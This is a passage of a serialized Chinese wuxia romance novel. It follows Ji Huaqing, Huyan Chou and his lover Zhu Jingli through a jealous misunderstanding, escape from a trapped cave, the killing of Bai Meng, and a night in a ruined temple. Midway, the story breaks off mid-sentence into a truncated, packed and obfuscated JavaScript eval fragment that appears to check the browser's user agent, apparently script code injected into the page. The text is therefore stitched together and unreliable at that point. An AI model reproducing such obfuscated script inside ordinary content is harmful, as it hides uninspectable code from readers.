了。你且仔细想想,”姬花青神情真诚地对朱镜离道:“呼延大哥是水西的人,迟早会回水西去的,那你呢?抛弃自己原来的家,跟他到水西去吗?你从小生长在水南,到了那边一个人孤零零的,一个亲人朋友都没有,若是发生了什么意想不到的事,该怎样才好呢?” 朱镜离没有回答姬花青,她心里想的却是:自己现在这个家,若没有说不定还要好些。 姬花青道:“朱姑娘,不要被男人的花言巧语骗了。”她说完,微笑着对朱镜离一福,朱镜离本自怔愣,等姬花青离开后,才忙忙对姬花青也是一福。 呼延酬走到朱镜离身边,道:“她的话你听着就行了。” 朱镜离嗯了一声,犹豫半晌,还是握住了呼延酬的手。 又过了两日,姬花青和呼延酬再次在那棵垂柳下商讨任务的事。 呼延酬本以为他和朱镜离的事被姬花青知道后,姬花青会将这件事告诉玄同教其他人,至少花道人会知道,可直到今日,其他玄同教众对此事似乎都毫不知情。 因着这点,呼延酬与姬花青虽有龃龉,前者对后者的态度在这几天也比以前缓和了些。 任务的事说完,姬花青对呼延酬道:“你怎么不问我为什么还不走?” 呼延酬道:“你为什么还不走?” 姬花青反问道:“你为什么还不走?” 呼延酬道:“你知道原因。” 虽然坦荡是好事,但有时候呼延酬的坦荡让姬花青莫名光火。 姬花青道:“……你是认真的吗?” 呼延酬道:“你指什么?” 可以看出,呼延酬今天心情不错,还跟她装起傻来了。 姬花青顿了顿,道:“朱姑娘。” 呼延酬在心里感念姬花青替他保守秘密,又因为他这段时间心情着实比较愉快,所以看姬花青也顺眼起来,他难得地对姬花青笑了,并弯下腰凑到姬花青面前道:“我不会再有别人。” 这句话实在是有些露骨,而呼延酬碧色的眼眸凑近姬花青,他那张脸笑起来确实会让人心里一动。 饶是与呼延酬不和多年,姬花青也不由得脸上发烫起来,不仅因为他的脸,还有他方才说出的话,以及说话的嗓音和语调,姬花青有些恍神,呼延酬竟意外地是个……情种? 姬花青红着脸道:“我真替你害臊,这种话不用跟我说……” 她话还没说完,二人眼角就同时瞥见旁边闪出一道倩影。 是朱镜离。 呼延酬脸上即刻现出高兴的神色,对朱镜离道:“你怎么这么早就过来了?” 然而姬花青却觉得貌似有哪里不对,这次朱镜离过来似乎走路带风,跟她平时的形象不太相符…… 疑问在姬花青心底还没过完,只听“啪”的一声,朱镜离冲过来狠狠扇了呼延酬一耳光。 这是姬花青活了这么多年听过的最响亮的耳光,简直要把她的耳膜穿透,回响直达天灵盖。 呼延酬的脸被打得偏到一旁,紧接着朱镜离两手接连拍打上呼延酬的胸膛,最后将呼延酬掀得往后退了个趔趄。 她打完呼延酬就转身跑开了,整个过程没有看姬花青一眼。而在她对着呼延酬一顿拳头巴掌的同时,姬花青似乎看见她的表情就像要哭了一般。 呼延酬莫名其妙,而朱镜离不发一言打完他就走也让他感到些许恼火,于是朝着朱镜离离去的方向大声道:“到底怎么回事?” 姬花青道:“她八成是误会了,你快追上去说清楚!” 姬花青的猜测一点没错,就在呼延酬弯下腰跟姬花青炫耀自己与朱镜离的感情时,这一幕刚好被提早前来赴约的朱镜离看到。而在朱镜离眼中,姬花青颊生红晕,眼含秋波,表情欲拒还迎地仰头看着呼延酬,两手无处安放般交叠在胸口,活脱脱一个娇羞的小女儿情态。 呼延酬对姬花青说的话朱镜离也听得一清二楚。 在朱镜离的认知中,这是男人在外猎艳时,对最初跟他要好的女子常说的话。 什么我跟那丫头只是玩玩,无论我有过多少女人,我的心永远都在你这里,你在我心里永远是有一席之地的这种话。他对姬花青说“我不会再有别人”,可不就是向姬花青表达这个意思吗? 朱镜离一下感到强烈的难过、怨恨、感伤、嫉妒……在对呼延酬撒了一通气后,她迅速逃离了现场,她再也不想见到呼延酬和姬花青这两个人! 呼延酬听姬花青这么说,啧了一声,赶紧追了过去。 看着呼延酬奔跑离去的背影,姬花青的嘴角有些压不住,她心想,有生之年能看到呼延酬被这么重地扇一下—— 爽! 当然,姬花青承认,自己莫名其妙动不动就脸红的习惯让这个误会更加深了一层。 这么一想更爽了。 不管呼延酬这几天心情好不好,反正姬花青现在心情很好。她转身面对仲邑江,深深吸了口带有江水味道的空气。 97. 雁磐(六) 姬花青不知道那天之后呼延酬和朱镜离怎么样了,不过从呼延酬之后的反应来看,二人应该是解开了误会。 呼延酬和朱镜离的误会是解开了,然而新的问题却产生了。 这日白氏下人来到玄同教中人所居住的院落,简单和花道人交流了几句便离开了,姬花青等人本以为这只是再平常不过的一次对话,然而花道人回来后却一脸愕然地对姬花青等人道:“白晋要我们即刻搬出白府。” 姬花青道:“怎么?难道我们在白府的行动露了马脚?我们的身份暴露了吗?” 花道人摇头道:“现在还不知道,那侍从只让我们快些离开白府,我再多问几句,他都一律不听,很不耐烦的样子。”他将一只手在下颌虚握成拳,“不过我猜测不是我们身份暴露的问题,如果是那样,即使是白晋这般不作为的家主,也不会只是将我们赶出白府这般简单,应当是有别的原因。” 呼延酬双手抄在胸前靠在墙上,道:“我们待在白府期间并没有做什么出格的事,还会有什么原因?” 花道人道:“这我就不知道了。白晋这个人脾气古怪,喜怒无常,好恶不定,经常因为一时的情绪而大动干戈,假使他有一天心情不好,那么便会因为一件极小的事而劳师动众,或许是我们的人在无意间惹了他不高兴。” 几人正说着,朱镜离的身影突然出现在廊上,她隔得远远的对呼延酬叫道:“酬哥!” 呼延酬闻声立即站直了身子,他看了姬花青和花道人一眼,随即走出房门。 花道人一脸讶异的神色,他不知道呼延酬什么时候和白府里的姑娘走得这么近了。 姬花青和花道人待在屋内,朱镜离和呼延酬的说话声却传了进来。只听朱镜离道:“酬哥,都是因为我,是我害事情变成这样。” 呼延酬道:“镜离,你慢慢说,怎么就是因为你了?你别把所有责任都揽在自己身上。” 朱镜离道:“酬哥,我与你会面,被白少爷知道了,白少爷他一直对我……” 呼延酬道:“所以让我们搬出白府是白少爷的意思,而不是家主的意思?” 朱镜离道:“不,是白叔叔的意思,白少爷告诉了白叔叔,他也一直将我当做他们白家的……白家的儿媳。白少爷因为这件事十分不甘,在家中大闹了一场,白叔叔只有白少爷这么一个儿子,所以十分生气,他说……他说他给你们提供吃食住处,不是让你们跟他儿子抢媳妇的,所以就派人来……” 花道人在房间内听见这番对话,脸上的表情堪称精彩,他看向姬花青,不知道姬花青为什么可以这么平静。 姬花青想捂脸,要不是她之前就知道了这事,现在她的表情也能够很精彩。 她就担心呼延酬和朱镜离这段关系要生出事,现在果然出事了!但好在后果也只是他们这群人不住在白府了而已,况且,玄同教众人已经掌握了该知道的情报,他们再待在白府也没什么意义了。 于是玄同教众人收拾东西,麻利地搬了出去,在临蓟找了一家客栈落脚。 然而这日,一位客人找上了门。 姬花青、花道人正在房间内商量事情,覃七霄亦在一旁,而一玄同教徒领着一名头戴白纱幂篱的女子来到了房门口。 那女子将头上的幂篱摘下,正是朱镜离。 花道人、覃七霄见了朱镜离都是一怔,姬花青睁大了眼,道:“朱姑娘?”她略一思索,“来找呼延大哥吗?” 朱镜离看向花道人和覃七霄,不好意思地低下头,随后点点头。 姬花青道:“他出去了,眼下不在客栈里,姑娘找他何事?” 朱镜离道:“我就是找他……说些事情。” 姬花青道:“嗯……他现在人不在这里,姑娘有什么事,我们可以代为转达。” 朱镜离道:“这……”她没说下去,却也没有就此离开。 看朱镜离这个反应,姬花青意识到她应该是要找呼延酬说情侣间的体己话,遂道:“姑娘不若来我房中边喝茶边等?他说不定一会就回来了。” 朱镜离看着姬花青,点头道:“好。” 姬花青转头对花道人道:“那我先告辞。”说着便引朱镜离去往自己房间。 花道人见二女离开,看姬花青的样子,跟这位朱镜离姑娘似乎不是第一次见面。 花道人低头看向覃七霄,道:“喂,你是不是也知情?”他指的是呼延酬与朱镜离的事,合着就他一个人蒙在鼓里? 覃七霄抬头,表情五分懵懂五分委屈,道:“我不知道啊。”他说的是实话,他也不知道发生了啥,这些事对一个不满十岁的小孩子来说实在有些难以理解,但覃七霄隐约感觉到,那日姬花青和呼延酬在房里争吵,便是因为这个。 来到姬花青的房间里,姬花青请朱镜离坐了,又为后者倒了杯茶。 朱镜离谢过姬花青,姬花青对朱镜离道:“朱姑娘,既然白家已经知道你和呼延大哥的事,你从白府出来……” 朱镜离道:“我自然是小心的,姑娘放心,谁也没看见我出来。” 姬花青点点头,二人一时无话。 据姬花青观察,无论是呼延酬,还是朱镜离,对这段感情应该都是认真的,即使姬花青觉得他们的进度有点快。而且也正因为如此,姬花青根本看不懂他们对未来是怎么打算的,先不说两人一个在水西,一个在水南,就二人的身份来说,他们要在一起,也要经历重重困难。 站在姬花青的角度看,这两个人在一起十分不明智,但爱情这种东西奇就奇在它本身就是理智的对立面,说发生就发生了,根本不讲道理。 不,这样说并不准确,身陷情爱的人并不糊涂,他们其实很清楚自己在做什么,但他们竟甘愿让漫天匝地的热情之火席卷天地,烧毁一切,甚至包括他们自己。 所以姬花青不会爱上任何人。 而现在,姬花青只求这两个人之间的爱欲之火不要点着别人。 朱镜离看着冒着热气的茶杯,过了一会,一根漂浮在茶汤面上的茶叶缓缓沉入到杯底,她突然对姬花青道:“姬姑娘是不是喜欢他?” 姬花青一怔,道:“谁?” 朱镜离道:“酬哥。” 姬花青道:“姑娘多虑了,我们只是同僚而已。”她心道:“我没有,不要乱说。” 朱镜离道:“我觉得这些事开诚布公地聊聊会比较好。” 姬花青心道:“老天爷!真没有!”她面上仍是平静的,看着朱镜离道:“朱姑娘,我对天发誓,我和呼延酬之间真的没什么。” 听姬花青这么说,朱镜离才有几分信了,但她心中还是有疑问,对姬花青道:“那之前在江边,姬姑娘说自己与酬哥关系不寻常……” 得了,姬花青自己种下的苦果。 她当时是想要拆散朱镜离和呼延酬才牺牲自己以身入局表现得和呼延酬关系不寻常的!至于为什么要拆散这对,于公,呼延酬和朱镜离纠缠对他们的任务没有好处;于私,姬花青就是想让他们掰了,从而让呼延酬不好受,看到呼延酬不好受,姬花青就很好受,就是这样! 但姬花青其实也没有完全瞎说,她希望朱镜离换个角度想,毕竟相互厌恶的关系也可以叫做不寻常的关系。 但真实情况真的不好跟朱镜离说。 姬花青面部肌肉微微抽动,她觉得有些控制不住自己的表情了,她看向朱镜离语速极快道:“总之,请朱姑娘放心,我对呼延酬绝对没有什么非分之想!” 朱镜离被姬花青这句话说得一愣一愣的,而等姬花青反应过来时,她发现自己已经双手撑在桌面上对朱镜离说话。她赶紧起身,将手移开桌面,不好意思地清了清嗓子,道:“姑娘请喝茶。” 朱镜离怔愣着对姬花青点点头,随后端起茶杯喝了一口茶。 这之后过了很久,呼延酬都没有回来,外面天色已晚,朱镜离只得告辞。姬花青一直将朱镜离送到离白府较近的一个街口上,随后才回到客栈。 又过了一段时间,玄同教诸人正式开始对白濛动手。白濛此时已没有住在白府中,玄同教兵分两路,一路是花道人带着覃七霄,一路是呼延酬和姬花青,分别去往白濛可能现身的两个地方找他。呼延酬和姬花青作为玄同教左右使武功极高,相对于花道人和覃七霄那路不大需要帮手,所以那二十几名玄同教众全部都跟着花道人行动。 呼延酬和姬花青正赶往目的地时,却遇见了朱镜离,后者说要跟呼延酬一起。 呼延酬道:“这不是在玩,我们接下来要面对的情况会很危险,你回去!” 朱镜离看着呼延酬,神色坚定道:“那我更应该陪着你。” 呼延酬手指一颤,将朱镜离拥入了怀中。 旁边姬花青的表情像戴着一张丑角面具。 运气落在姬花青和呼延酬这边,在目的地山洞里,他们发现了白濛,然而这山洞并不简单,它不仅是白濛的藏身基地,还是一座能困死敌人的迷阵。 当白濛发现有人找来,于是触发了机关,机关被触发后,一块巨石轰然落在两拨人马之间,白濛带着一队手下离开了山洞,而姬花青等人则被困在了这里。 姬花青、呼延酬、朱镜离转了几圈都没有找到任何出口,于是三人在洞窟中坐了下来,决定先节省体力。 歇息了一阵后,呼延酬再次去 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“那名侍女还说,掌柜的说做好后就马上送到城郊客店去。当时我听了便感到奇怪,酬哥和姬姑娘你们不是住在城内客栈中吗?怎么要送去城郊客店?我一开始以为是掌柜的弄错了,想去那家铺子问,但又想着先去你们住的客栈看一看,果然酬哥和你们已经退房了。于是我又来到城郊客店,在附近寻找了一番,结果就碰到你们了。” 原来此前玄同教众人要实施猎杀白濛的计划,为了行动方便,便搬去了城郊客店住。呼延酬本想将此事告诉朱镜离,但他们要杀的毕竟是白氏的人,又恐将朱镜离牵缠进来对朱镜离有害无益,所以最终没有跟朱镜离说,想着此间事了后再去找朱镜离。 而呼延酬按捺不住对朱镜离的思念之情,便给了客店小二一些银钱,请后者帮自己跑腿,去那家香薰铺子买一些自己从前和朱镜离用过的香聊慰相思。不想那种香需要用到的一种原料已经没有了,但掌柜对小二说,自己之前订的原料应该这几天就能到,过几日就把香送过去。因为呼延酬和朱镜离是用一个名义在那家铺子买香,而那位掌柜又认得朱镜离的侍女,所以之后才会让那侍女给朱镜离传话。 朱镜离这席话让姬花青听得一愣一愣,姬花青活了这么多年,第一次知道原来情侣可以共用一个名字在店里买东西。 合为一体了是吧?难分难解了是吧?姬花青只觉一个新世界的大门在自己眼前打开,并且联想到:情侣是不是还可以共用其他很多东西? 不过既然朱镜离跟过来,便亲眼看见了呼延酬和其他玄同教的人是在干什么,姬花青想,况且他们追杀的人还是白濛,是白氏的子弟,这下朱镜离多半知道他们这些人的身份不是铸造古堡的人这么简单了吧…… 朱镜离突然道:“酬哥他是玄同教左使,姬姑娘你是玄同教右使,是不是?” 姬花青一悚,呼延酬!都往外说了些什么啊??? 虽然情侣之间是该坦诚相待没错,但兹事体大…… 朱镜离苦笑道:“姬姑娘放心,酬哥跟我说的,我一个字也没跟其他人说。”她低下头,“我跟家里、跟白氏的关系并没有那么紧密。” 姬花青当然不会觉得朱镜离怎么说事实就是怎样,但既然朱镜离已经知道,再说别的也无济于事。何况,眼下他们还困在这该死的山洞里,不先出去的话,讨论任何事意义都不大。 朱镜离道:“姬姑娘,你们教里的职位设置得真好,左使和右使,一听就是一对。” 姬花青听了朱镜离这句话,一股凉意直接窜上背脊,她想:“姑娘啊,要是让玄同教历代左右使者听见你这句话,你让他们情何以堪?”玄同教创教百余年,以往的左右双使不仅有像呼延酬和姬花青这样的一男一女,还有女女,男男,年龄可能差不多,也可能差很多,说白了就是同僚而已,可朱镜离竟从其中品出了风月之意,姬花青想,当年裴秉延设置这两个职位,大概不是为了当月老。 不过姬花青听朱镜离说完这句话后倒是想到,自从呼延酬和朱镜离私下交往后,呼延酬的很多东西,比如枪上装饰的穗子,就换成了似乎是一对物品中的其中一半。 朱镜离似乎很执着于和呼延酬一起使用那些看上去或者本来就是一对的东西。 姬花青摇摇头,将这些乱七八糟的想法赶出脑海,眼下应当关注的,是找到从这山洞出去的法子,否则他们三人都得化作这山洞里的一堆无名白骨。 要是最后跟呼延酬死在一起,那么这个死法是真的有够糟糕。 想到自己可能死在这里,姬花青却忽然想起了穆禾。 “师父,师父……”她在心里轻轻呼唤,如果自己真的死在了水南,他会不会感到难过? 98. 雁磐(七) 呼延酬回来后,姬花青问他有没有找到出去的路,呼延酬摇摇头。姬花青心里一沉,呼延酬却从怀中拿出了七八个巴掌大小的梨,道:“不过我在洞壁一处窄缝后发现了一株梨树,那窄缝十分不显眼,难怪我们之前几次经过那地方都没发现。” 姬花青一喜:“你是说,有梨树?” 呼延酬道:“不错。” 众人一下感受到了希望,既然有梨树这样的植物生长在这山洞中,就说明在某个位置有通往外界的孔洞,阳光才能从孔洞照射进来,梨树才能存活。 姬花青道:“那你看见孔洞没有?”若孔洞不够大的话,很可能是空欢喜一场, 呼延酬道:“没有,那梨树周边的洞壁极高,而外面大约是黑夜,并且今晚无月无星,所以黑漆漆的看不真切,只能等天亮后再去看。”他看着地上的梨道:“先把这些梨吃了补充些体力,明天的事就明天再说吧。”他将一个梨递给朱镜离,自己也拿了一个。 在洞中蜡烛微弱的亮光下,呼延酬和朱镜离一边吃梨,偶尔目光对上了便相视一笑,这一幕让姬花青看得有些怔愣。刚好在这时这时呼延酬将头转过来,看向姬花青。 姬花青赶紧将目光移开。 呼延酬对姬花青道:“你也过来吃啊。”说着拿起一个梨,往姬花青的方向一递。 姬花青将梨接过,对呼延酬的看法微微有了改观。 三人吃了梨又各自躺下休息,过了一段时候,估摸着外面天亮了,姬花青和朱镜离便跟着呼延酬来到那洞壁窄缝前。 这细郤的确让人难以发现,倒不是它的位置有多隐蔽,而是它和旁边的岩壁恰到好处地融为一体,肉眼恍眼看去,极易忽略,即使是在呼延酬的带领下,姬花青都是走到离这缝隙极近的地方才看见它。 呼延酬、朱镜离、姬花青侧身进了窄缝,窄缝后是一片狭小的空间,而那株梨树就生长在这里。 姬花青等人并未使用火折之类的照明之物,而这棵梨树的枝叶他们却看得分明,三人连忙往头上看去,只见他们头顶上方有一个光亮的白点,一束幽光正是从那里照射进来,将这棵梨树的枝叶笼罩在光束内。 姬花青不禁想,若是在春天,这幽洞里盛开一树雪白的梨花,该是何等美丽奇异的景象。 眼看有了逃出生天的希望,姬花青摩拳擦掌就要从洞壁攀上去,但这洞壁垂直,且洞底离他们头顶上方的孔洞很有一段距离,即使是身负轻功的武林人士,要从这里上去也不那么容易。 并且眼下还有一个问题,朱镜离虽出生在武人之家,但她对武功的兴趣并不浓厚,家里看她是个女子,也没觉得她将武功练好是一件必须的事。攀上这洞壁,连呼延酬和姬花青都得小心应对,对朱镜离来说,这便是一件几乎做不到的事了。 姬花青一手把在洞壁凹进去的一处,小心翼翼地寻找下一个落脚点,另一只手则牵着朱镜离的右手。 朱镜离的左手握在呼延酬手中,呼延酬做着跟姬花青一样的动作,即姬花青和呼延酬同时一步步上跃攀爬,朱镜离则由二人一同带上去。这样做对二人来说都更省力,并且能空出另一只手抓住洞壁。 姬花青和呼延酬每一次跃起都能向上攀数尺,如此攀爬了约莫小半个时辰,终于到了那孔洞边缘。 姬花青一手探出洞口,在洞边牢牢把稳,手脚同时运力,三人便一同从孔洞跃了出来。 之后,姬花青、朱镜离、呼延酬坐在孔洞边的杂草丛中,皆喘着气。 等气息稍微平复后,姬花青道:“接下来就是继续去找白濛了,可我们已经打草惊蛇,之后他又会到哪去呢?是回到白府,还是去另一个藏身处?” 朱镜离道:“白濛所做的一切白氏都不知情,而白氏很多人都站在他的对立面,他回白府是自寻绝路。至于另一个藏身处,酬哥和姬姑娘既然已经找到他其中一个藏身之处,那么他多半也知道另一个藏身处已经不再安全了,说不定就有你们的人在那等着,他不会去。眼下他只能去找靠山李氏,现在只有待在盟主身边才是最安全的。” 呼延酬赞道:“聪明,跟某些笨蛋一点不一样。”朱镜离没料到呼延酬会说出这样的话,快速看了一眼姬花青,表情有些不好意思。 姬花青:“……”她之前在山洞中对呼延酬微微转变的看法此时又转回去了。 但眼下情况特殊,姬花青懒得跟他掰扯,所以没有就呼延酬这句话做出什么回应。 最终,三人在去往水南武林盟主一处别院的路上成功追上了白濛,并在一片树林中与白濛和他的下属动起手来。 在追上白濛之前,天就已经开始下雨,追上白濛后,一众人在雨中拼斗。 水花四溅中,姬花青和呼延酬交叉上前,刀来枪往,枪往剑去,白濛的手下接连倒地,其中一人注意到站在后面的朱镜离,便想先捏软柿子,摸出一枝蝴蝶镖,对准朱镜离扔去。 呼延酬即使在激斗中也注意到朱镜离那边的情况,他冲过去挡在朱镜离前面,长枪横扫,将那镖一拨,不想姬花青与另一人正自缠斗,刚好落在蝴蝶镖被拨开的方向,于是那暗器直接刺在了姬花青的手臂上。 姬花青正要一剑向敌人斫下,忽觉小臂一阵刺痛,她停了动作,先看了看自己小臂,随后缓缓看向方才蝴蝶镖飞来的方向。 那里站着呼延酬,还有朱镜离,呼延酬正提枪挡在朱镜离前面。 姬花青本来还等着呼延酬对误伤队友一事做出什么表示,但后者似乎根本就没注意到自己刚刚弹飞的镖打中了姬花青,只见呼延酬回头对朱镜离道:“怎么样?有没有受伤?”他的语气,他的眼中,满是关切神色。 姬花青咬牙切齿,怒气让她足以将疼痛忽略,她一把将手臂上蝴蝶镖拔出扔在一旁,而在姬花青身后,除了她方才对付的敌人,又有一名敌人绕了过来,不想姬花青猛然回头,长剑在空中划出一道巨大的白色圆弧,两名敌人登即倒下。 姬花青和呼延酬麻利动作,很快,白濛的手下就已全部倒地,而白濛也挂了彩,他一手抚上自己胸前的伤口,一边喘着气,一边抬眼看着眼前的二女一男。 一名仰躺在地上的白濛下属尚有意识,他吃力地抬颈对白濛道:“主人,快用金玉满堂霜……敷上伤口……” 白濛眼前一阵阵发黑,他身子摇摇晃晃看着姬花青和呼延酬道:“不……来不及了……” 姬花青心道:“金玉满堂霜?好俗气的名字,一种金创药么?” 呼延酬看向姬花青,两人相视点点头,各展兵刃一步步朝白濛走去。 片刻之后,白濛倒在地上,已然无法动弹。 他的身体慢慢蜷缩,像一只行将死去的虫类。 姬花青和呼延酬留了白濛最后一口气,因为他还有最后的一些价值。呼延酬蹲在奄奄一息的白濛面前,右手手臂放在大腿上,道:“告诉我,水南还有没有其他针对玄同教的计划?” 白濛双眼紧闭,他额头、脸颊、嘴角都是血,若不是他的身体还在微微起伏,别人会以为他已然断气。 见白濛不答,也不知他是不想回答还是已经没有力气再说话,呼延酬慢慢起身站直。 反正他们也不是一定要从白濛口中探知这些讯息,不过是随口问问。 呼延酬转身离开,姬花青亦转身,将白濛弃之身后不顾。 白濛活不了,二人心中皆了然,他只不过是一具现在尚能呼吸的尸体,放在那不管就好。 一直站在树后的朱镜离目睹一切,见尘埃落定,她向呼延酬奔来,道:“酬哥,你没……” 就在这时,在姬花青、呼延酬、朱镜离身后,白濛突然睁开眼,他一抬手,将什么东西朝三人扔了过来! 总算呼延酬反应及时,他飞起一脚踢向姬花青,姬花青尚未明白过来发生了什么,下意识地举起手臂封挡,呼延酬踢在她小臂上,而这一脚所蕴含的劲道不小,姬花青身子飞出,先是重重撞在一棵树的树干上,随后跌落在地。 差不多与此同时,三人原先站着的地方火光冲天,伴随着一声巨响,白濛朝他们扔来的竟是能够爆炸的火药! 那巨响震得姬花青耳边嗡鸣,耳膜生疼,而先是撞树然后跌落让她身上剧痛,姬花青不禁叫出了声,她艰难地撑起上半身,一抬头就隔着四散的烟尘和碎石看见呼延酬横抱着朱镜离完美落地。 姬花青朝着呼延酬所在的方向,抽气道:“呼延酬……我……你……”痛感实在太过剧烈,姬花青没能将这句话说完,她一手搭在肚腹上翻了个身,仰躺在地面,空气中的硝烟味还没散去,冰凉的雨丝打在她的脸上。 另一边,用尽最后一丝力气将火药扔出的白濛已然气绝。 姬花青好不容易才重新站起来,她一手仍捂着背,一步步挪到白濛的尸身旁边,而呼延酬和朱镜离已经先到了一步。察觉到身后姬花青走近,呼延酬低头看着白濛尸身道:“人已经死了。” 姬花青在呼延酬身后,仿佛要将他的后脑勺盯出一个洞来,她继续挪到呼延酬旁边,道:“既然任务已经完成,那我们是不是该去跟花道人他们汇合,然后打道回水西?” 呼延酬抬头看了看天,道:“天色已晚,我们不急着去找花道人他们,先找个地方过夜吧。” 姬花青等人追上白濛时已值薄暮,经过一番战斗后,不知不觉间天色便已全黑。 而黑夜中还下着雨。 呼延酬从地上捡起一把伞,这把伞是先前白濛撑的,他们跟白濛动上手后,这把伞就被仍在地下。姬花青看向四周,似乎只有这一把伞。 三个人打一把伞,貌似是有些挤,但眼下也没有别的办法,只好先凑合用着,然后赶紧去找过夜的地方。 然而接下来情况的发展让姬花青认识到自己真是想多了。 三人同行,并排走着,姬花青在左,朱镜离在右,呼延酬在中间。 但呼延酬右手打着伞,只遮住了他和朱镜离,姬花青整个人则暴露在雨幕下。 姬花青沉默一路,呼延酬和朱镜离则时而喁喁私语。 热恋中的情侣,总是有说不完的话。 过了好一会,呼延酬回过神来,他突然意识到旁边还有个姬花青,突然意识到自己打伞的方式不对!他难得地在姬花青面前显露出理亏并有些慌乱的神色,于是将伞往姬花青那边移。 姬花青伸手将呼延酬握住伞柄的手一挡,道:“没事,不用。” 呼延酬面上微有些讪讪,他还是将伞往姬花青那边稍微移了移。 姬花青是真觉得不必,反正这雨淅淅沥沥的也不大。 她也相信呼延酬不是故意这么干,不是故意让她淋雨,呼延酬不过是从一开始就忘了她这个人而已。 三人走了一阵,倒还真发现了座野庙。 姬花青、呼延酬、朱镜离踏入庙中,只觉四周寂寂,庙内空无一人,漆黑一片。 于是点亮火折,三人收集枯枝干草燃起火堆。这庙内景象虽然颓败,但好在四壁与屋顶是完好的,能将冷风冷雨挡在外面。 姬花青坐在火堆前烤干衣服,完了后自去一旁躺下歇息。 呼延酬和朱镜离躺在另一处,二人见姬花青已经背对他们一动不动躺了良久,都以为姬花青已经睡着,朱镜离忽然轻轻笑了,对呼延酬道:“酬哥,你看花青,就像一条小虫,她真的好可爱。” 呼延酬也笑了,道:“你最可爱。” 红晕漫上朱镜离双颊,她嗔道:“我说别人,怎么扯到我身上啦?” 呼延酬道:“你在我身边,我的眼里便只有你。” 姬花青侧躺着,她的背后是呼延酬和朱镜离,还有火堆。她的脸背着火堆的橘光,在晦暗不清的阴影中,她已经无法控制自己的表情。 姬花青觉得自己现在的表情跟吃了屎大概也没什么区别。 二人耳鬓厮磨的密语一句句传入姬花青耳中,她其实并没有睡着,但此情此景,为了避免尴尬,她也不敢再动一下。 况且,继续装作睡着说不定还能听到更不得了的东西。 朱镜离忽然幽幽诵道:“君不行兮夷犹,蹇谁留兮中洲?美要眇兮宜修,沛吾乘兮桂舟。令沅湘兮无波,使江水兮安流。望夫君兮未来,吹参差兮谁思?” 这是《九歌·湘君》中的语句。又听朱镜离道:“酬哥,我好怕有一天你会突然离开,我怎么也找不到你了。前几日我做了一个梦,在梦里我就像苦苦寻觅湘君的湘夫人一般,我驾着舟泛在水面上,四周都是雾气,什么也看不清。我脑海中只依稀有印象,你在前面一个地方等我,可我划了很久,很久,却一直没能看见你的身影,那水面似乎没有尽头。我越划越害怕,又很伤心,你答应过我会来,可为什么你不在那?酬哥,答应我,别丢下我,我真的好害怕有一天一睁眼,你就消失不见了。”她的声音和着外面呜呜的风声和雨滴从檐上落下的声音,越发显得凄楚动人。 饶是姬花青与这对情侣同行吃了不少苦头,对他们颇有微词,此刻也不禁被触动了。 呼延酬道:“镜离,无论什么时候,我不会留你一个人。” 姬花青想,什么意思?难道朱镜离之后会跟呼延酬来水西? 呼延酬又道:“镜离,你知道《湘君》,定是熟读《九歌》,你对九歌中其他神祇有什么看法?比如……东君?” 姬花青心中一动,不知呼延酬除了告诉朱镜离他是玄同教左使外,还有没有告诉她自己也是聊氏九歌的东君? 朱镜离靠在呼延酬怀中,仰头看着他的脸笑了,道:“东君是太阳神……酬哥,对镜离来说,你就像我的太阳一样呢。” 姬花青听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她和呼延酬的那段短暂日子,看似闹闹哄哄,其实二人之间连着的不过是一根将断未断的丝线罢了,又或许那丝线本就是断开的,只是轻易看不出来而已。 姬花青听呼延酬和朱镜离的对话,听到后来,已不像最开始那般有窥探他人私隐的快意,不知怎的,她的心情变得有些复杂。她阖上眼,不知不觉间沉沉睡去。 另一边,朱镜离靠在呼延酬怀中也睡着了,呼延酬看着朱镜离的睡脸,陷入了沉思。 呼延酬的母亲是北地胡人,他从小在母亲身边长大,他从没见过自己的父亲,也不知道自己父亲是谁。 但他知道自己的父亲是水西人,可能是去往更遥远的地方行商时经过母亲所在的聚落,然后有了他。 之后家园被匪徒所毁,他一路颠簸到了衡泽,开始接受聊氏残酷的训练。他跟其他受训的孩子关系并不好,性格是一部分原因,另一部分原因则来自他的长相。 对胡人而言,他不太像胡人,而对水西人来说,他也不够像水西人。 于是这与众不同的外貌成了其他人抓住不放的点,“杂胡”这个称号伴随了他待在衡泽的始终。 再后来到了雁磐山,玄同教,被发现是间谍的那一刻,他以为自己死定了,但那个叫做穆禾的人留了他一命。 之后在玄同教的千百个静谧的夜晚,他都会想起母亲,他想要一个人亲近的人,来与他相互关心,他们相互陪伴一起走完之后的路。 起初的日子里,他以为姬花青就是那个人,可他错了。 那日踏入七星楼中,他一眼就看到姬花青身边那个男人的身影,而姬花青则恭恭敬敬候在一旁。 呼延酬突然没来由地想:不知自己来之前,二人已一同在这里多久,又说了些什么? 呼延酬向前望去,只见穆禾神色从容,面容清俊,他嘴唇上方、双颊、下颏留了一层薄薄的胡须。穆禾不过是简单站在那里,却自然而然流露出一番不凡的气度。 那个人可以随时将自己叫到他面前,而自己风尘仆仆地赶去,呼延酬自觉跟穆禾一比便显得颇为狼狈。穆禾似乎永远都是那样一副云淡风轻、气定神闲的样子,仿佛掌控着一切。 姬花青只是站在一旁,自己当着姬花青的面被另一个男人生生比了下去,而姬花青的双眼里只倒映着穆禾的影子。 穆禾确实是掌控着一切,呼延酬想,当初他想让自己活命就让自己活命,虽然穆禾在选择自己的同时自己也选择了穆禾,为玄同教做事也是自己的意愿,但当初自己若没有答应,那么穆禾应该早已取了自己的性命。 呼延酬一生最恨由他人主宰命运,不过是因为他自己的命运一直在由他人主宰。 明白过来这点后,他干脆地跟作为穆禾徒弟的姬花青划清了界限,可恨姬花青还装作一副无辜的样子,她明明什么都知道,她明明只是把自己当猴一般戏耍! 来到临蓟后,他遇见了朱镜离。 这个女子看似柔弱,却主动得让人意外。 